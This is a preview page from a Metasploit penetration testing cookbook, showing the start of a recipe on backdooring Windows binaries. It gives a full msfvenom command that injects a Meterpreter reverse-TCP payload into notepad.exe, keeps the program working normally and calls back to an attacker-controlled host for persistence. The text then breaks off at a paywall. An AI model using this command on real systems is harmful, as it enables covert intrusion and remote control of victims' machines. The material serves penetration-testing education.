Search icon CANCEL
Subscription
0
Cart icon
Your Cart (0 item)
Close icon
You have no products in your basket yet
Arrow left icon
Explore Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Free Learning
Arrow right icon
Arrow up icon
GO TO TOP
Metasploit Penetration Testing Cookbook

You're reading from   Metasploit Penetration Testing Cookbook Evade antiviruses, bypass firewalls, and exploit complex environments with the most widely used penetration testing framework

Arrow left icon
Product type Paperback
Published in Feb 2018
Publisher
ISBN-13 9781788623179
Length 426 pages
Edition 3rd Edition
Languages
Arrow right icon
Authors (4):
Arrow left icon
Monika Agarwal Monika Agarwal
Author Profile Icon Monika Agarwal
Monika Agarwal
Abhinav Singh Abhinav Singh
Author Profile Icon Abhinav Singh
Abhinav Singh
Nipun Jaswal Nipun Jaswal
Author Profile Icon Nipun Jaswal
Nipun Jaswal
Daniel Teixeira Daniel Teixeira
Author Profile Icon Daniel Teixeira
Daniel Teixeira
Arrow right icon
View More author details
Toc

Table of Contents (15) Chapters Close

Preface 1. Metasploit Quick Tips for Security Professionals FREE CHAPTER 2. Information Gathering and Scanning 3. Server-Side Exploitation 4. Meterpreter 5. Post-Exploitation 6. Using MSFvenom 7. Client-Side Exploitation and Antivirus Bypass 8. Social-Engineer Toolkit 9. Working with Modules for Penetration Testing 10. Exploring Exploits 11. Wireless Network Penetration Testing 12. Cloud Penetration Testing 13. Best Practices 14. Other Books You May Enjoy

Backdooring Windows binaries


By backdooring system binaries, we can ensure that we will have persistence in the target machine, and we won't trigger alarms by adding new registry entries or new binaries to the system.

How to do it...

  1. We will use msfvenom to backdoor the notepad.exe binary:
    • Use -a for the architecture, in this case, x86
    • --platform  for the platform of the payload Windows
    • -p, for the payload to use windows/meterpreter/reverse_tcp, LHOST followed by the IP address of our Kali machine
    • -x to specify a custom executable file to use as a template; in this recipe, we will use notepad.exe
    • -k to preserve the template behavior and inject the payload as a new thread
    • -f for the output format
    • -b to specify characters to avoid; in this case, null bytes "\x00" and -o for the output name of the payload:
root@kali:~# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.216.5 -x notepad.exe -k -f exe -b "\x00" -o notepad-backdoored.exe
Found 10 compatible encoders
Attempting...
lock icon The rest of the chapter is locked
Register for a free Packt account to unlock a world of extra content!
A free Packt account unlocks extra newsletters, articles, discounted offers, and much more. Start advancing your knowledge today.
Unlock this book and the full library FREE for 7 days
Get unlimited access to 7000+ expert-authored eBooks and videos courses covering every tech area you can think of
Renews at $19.99/month. Cancel anytime
Banner background image